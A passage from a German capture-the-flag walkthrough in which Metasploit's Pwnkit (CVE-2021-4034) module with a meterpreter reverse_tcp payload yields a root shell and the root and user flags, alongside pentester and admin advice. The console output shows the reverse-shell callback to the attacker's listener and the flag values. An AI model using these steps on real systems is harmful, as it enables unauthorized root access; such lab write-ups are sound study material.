Module options (exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec): Name Current Setting Required Description ---- --------------- -------- ----------- PKEXEC_PATH no The path to pkexec binary SESSION yes The session to run this module on WRITABLE_DIR /tmp yes A directory where we can write files Payload options (linux/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST 192.168.2.105 yes The listen address (an interface may be specified) LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 x86_64 View the full module info with the info, or info -d command.
LHOST => 192.168.2.105
LPORT => 5554
session => 2
[*] Started reverse TCP handler on 192.168.2.105:5554 [*] Running automatic check ("set AutoCheck false" to disable) [!] Verify cleanup of /tmp/.deessia [+] The target is vulnerable. [*] Writing '/tmp/.fjeoeofwuhr/brwymbsgfc/brwymbsgfc.so' (548 bytes) ... [!] Verify cleanup of /tmp/.fjeoeofwuhr [*] Sending stage (3045348 bytes) to 192.168.2.106 [+] Deleted /tmp/.fjeoeofwuhr/brwymbsgfc/brwymbsgfc.so [+] Deleted /tmp/.fjeoeofwuhr/.jopabx [+] Deleted /tmp/.fjeoeofwuhr [*] Meterpreter session 3 opened (192.168.2.105:5554 -> 192.168.2.106:47000) at 2023-07-11 00:00:00 +0200
Analyse: Das Exploit-Modul für Pwnkit (CVE-2021-4034) wird geladen. Es verwendet standardmäßig einen `linux/x64/meterpreter/reverse_tcp`-Payload. Wir setzen die Ziel-Session auf 2 (unsere `employee1`-Meterpreter-Sitzung). Die `LHOST`-Option wird auf unsere Angreifer-IP (`192.168.2.105`) und `LPORT` auf `5554` für die neue Reverse-Shell-Verbindung gesetzt. Mit `run` wird der Exploit ausgeführt. Das Modul prüft erneut die Anfälligkeit (`The target is vulnerable.`), schreibt temporäre Dateien nach `/tmp` und führt den Exploit über die Sitzung 2 aus.
Bewertung: Der Exploit war erfolgreich! Metasploit meldet das Öffnen einer neuen Meterpreter-Sitzung (Session 3). Diese neue Sitzung sollte Root-Rechte haben, da der Pwnkit-Exploit darauf abzielt, Code als Root auszuführen.
Empfehlung (Pentester): Wechseln Sie zur neuen Meterpreter-Sitzung 3 (`sessions -i 3`) und überprüfen Sie die Rechte (`getuid`).
Empfehlung (Admin): Patching von Polkit (CVE-2021-4034) ist essentiell. Überwachen Sie verdächtige Aktivitäten im `/tmp`-Verzeichnis.
Schritt 3: Bestätigung des Root-Zugriffs
Wir wechseln in die neue Meterpreter-Sitzung und überprüfen die Benutzer-ID.
Process 9497 created. Channel 1 created.
uid=0(root) gid=0(root) groups=0(root),1000(employee1) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
Analyse: Von der Meterpreter-Sitzung 3 aus starten wir eine interaktive System-Shell (`shell`). In dieser Shell führen wir den `id`-Befehl aus.
Bewertung: Voller Erfolg! Die Ausgabe `uid=0(root) gid=0(root)` bestätigt, dass wir nun Root-Rechte auf dem Zielsystem haben. Die Privilegienerweiterung war erfolgreich.
Empfehlung (Pentester): Das Ziel ist erreicht. Sammeln Sie die Root-Flagge (oft in `/root/`) und dokumentieren Sie den gesamten Angriffspfad.
Empfehlung (Admin): Dringende Behebung der Pwnkit-Schwachstelle und der schwachen SSH-Passwörter.
Schritt 4: Sammeln der Root-Flagge
Wir wechseln in das `/root`-Verzeichnis und lesen die Flagge.
proof.txt
██████╗█████╗██╗███╗██╗ ██████╗█████╗██╗██╗███████╗██████╗
██╔════╝██╔══██╗██║████╗██║ ██╔══██╗██╔══██╗██║██╗██║██╔════╝██╔══██╗
██║██╗███████║██║██╔██╗██║ ████████║██║╚██╗████╗███████╗██████
██║╚██╗██╔══██║██║██║╚████║ ██╔═══╝██║██║████╔═████║██╔══╝██╔══██╗
╚████████║██║██║██║╚███║ ██║╚█████╚██╚█████████╗██║██║
╚═════╝╚═╝╚═╝╚═╝╚═╝╚══╝ ╚═╝╚════╝╚═╝╚═╝╚══════╝╚═╝╚═╝
_________ __ .__ __ .__
\_ ___ \ ____ ____ ________________ _/ |_ __ __| | _____ _/ |_|__| ____ ____
/ \ \/ / _ \ / \ / ___\_ __ \__ \\ __\ | \ | \__ \\ __\ |/ _ \ / \
\ \___( <_> ) | \/ /_/ > | \// __ \| | | | / |__/ __ \| | | ( <_> ) | \
\______ /\____/|___| /\___ /|__| (____ /__| |____/|____(____ /__| |__|\____/|___| /
\/ \//_____/ \/ \/ \/
You successfully owned the root of this box :-)
Flag: eb2e174c3883ff6b5fd871167795b4d6
Twitter : VanshalG
Analyse: Wir wechseln in `/root`, listen den Inhalt auf und finden `proof.txt`. Der Inhalt wird mit `cat` ausgegeben.
Bewertung: Die Datei enthält ASCII-Art, eine Erfolgsmeldung und die Root-Flagge: `eb2e174c3883ff6b5fd871167795b4d6`.
Empfehlung (Pentester): Root-Flagge notieren. Suchen Sie nach der User-Flagge, falls noch nicht geschehen.
Empfehlung (Admin): Keine spezifische Empfehlung.
Schritt 5: Sammeln der User-Flagge (nachträglich als Root)
Wir suchen im Home-Verzeichnis des Benutzers `vanshal` (der in `/etc/passwd` gefunden wurde) nach der User-Flagge.
local.txt secret.zip
██████╗█████╗██╗███╗██╗ ██████╗█████╗██╗██╗███████╗██████╗
██╔════╝██╔══██╗██║████╗██║ ██╔══██╗██╔══██╗██║██╗██║██╔════╝██╔══██╗
██║██╗███████║██║██╔██╗██║ ████████║██║╚██╗████╗███████╗██████
██║╚██╗██╔══██║██║██║╚████║ ██╔═══╝██║██║████╔═████║██╔══╝██╔══██╗
╚████████║██║██║██║╚███║ ██║╚█████╚██╚█████████╗██║██║
╚═════╝╚═╝╚═╝╚═╝╚═╝╚══╝ ╚═╝╚════╝╚═╝╚═╝╚══════╝╚═╝╚═╝
You successfully owned the user of this box :-) Best of Luck for the root
flag: 5c2a29d7b95868da9e503502f301e8dd
Twitter : VanshalG
Analyse: Wir wechseln in `/home/vanshal`, listen den Inhalt auf (`local.txt`, `secret.zip`) und geben den Inhalt von `local.txt` aus.
Bewertung: Die Datei `local.txt` enthält die User-Flagge: `5c2a29d7b95868da9e503502f301e8dd`. Die Datei `secret.zip` wurde nicht weiter untersucht, enthält aber möglicherweise weitere Hinweise oder war Teil eines anderen Lösungswegs.
Empfehlung (Pentester): User-Flagge notieren. Der Test ist abgeschlossen.
Empfehlung (Admin): Keine spezifische Empfehlung.
Risikobewertung: Die Kombination aus einem extrem schwachen Passwortschema (Benutzername = Passwort) für SSH und einer ungepatchten Pwnkit-Schwachstelle stellt ein kritisches Risiko dar. Sie ermöglichte einem Angreifer mit Netzwerkzugriff die relativ einfache Übernahme des Systems mit vollen Root-Rechten.
Empfehlungen (Zusammenfassung):